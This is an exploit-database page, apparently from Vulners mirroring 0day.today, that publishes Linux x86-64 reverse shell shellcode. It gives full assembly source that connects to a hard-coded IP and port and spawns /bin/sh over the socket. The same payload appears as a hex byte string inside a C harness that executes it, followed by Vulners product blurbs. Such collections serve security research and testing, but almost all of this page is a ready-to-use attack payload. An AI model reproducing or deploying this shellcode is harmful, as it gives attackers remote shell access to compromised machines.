Lucene search
K

Linux/x86-64 - Reverse Shell Shellcode

🗓️ 21 Mar 2016 00:00:00Reported by Sudhanshu ChauhanType 
zdt
 zdt
🔗 0day.today👁 19 Views

Linux/x86-64 Reverse Shell Shellcode - Sudhanshu Chauha

Code
/*
# Exploit Title: Shellcode [Linux x86_64 Reverse Shell]
# Date: 19/03/2016
# Shellcode Author: Sudhanshu Chauhan
# LinkedIn: https://in.linkedin.com/in/sudhanshuchauhan
# Tested on: [Ubuntu 14.04.1 x86_64]
 
global _start
 
 
_start:
 
    ;Socket
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    add rax, 41
    add rdi, 2
    add rsi, 1
    syscall
 
    ; copy socket descriptor
    mov rdi, rax
 
    ; Socket details IP- 192.168.1.2 Port- 1234
    xor rax, rax 
    push rax
    mov dword [rsp-4], 0x0201a8c0
    mov word [rsp-6], 0xd204
    sub rsp, 6
    push word 0x2
 
 
    ;connect
    xor rax, rax
    xor rdx, rdx
    add rax, 42
    mov rsi, rsp
    add rdx, 16
    syscall
 
 
    ;duplicate sockets
    xor rax, rax
    add rax, 33
    xor rsi, rsi    
    syscall
     
    mov al, 33
    add rsi, 1
    syscall
 
    mov al, 33
    add rsi, 1
    syscall 
 
    ; execve
    xor rax, rax
    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx
    mov rdi, rsp
    push rax
    mov rdx, rsp
    push rdi
    mov rsi, rsp
    add rax, 59
    syscall
  
*/
 
#include <stdio.h>
#include<string.h>
unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\xc0\xa8\x01\x02\x66\xc7\x44\x24\xfa\x04\xd2\x48\x83\xec\x06\x66\x6a\x02\x48\x31\xc0\x48\x31\xd2\x48\x83\xc0\x2a\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\xb0\x21\x48\x83\xc6\x01\x0f\x05\xb0\x21\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
  
main()
{
    printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation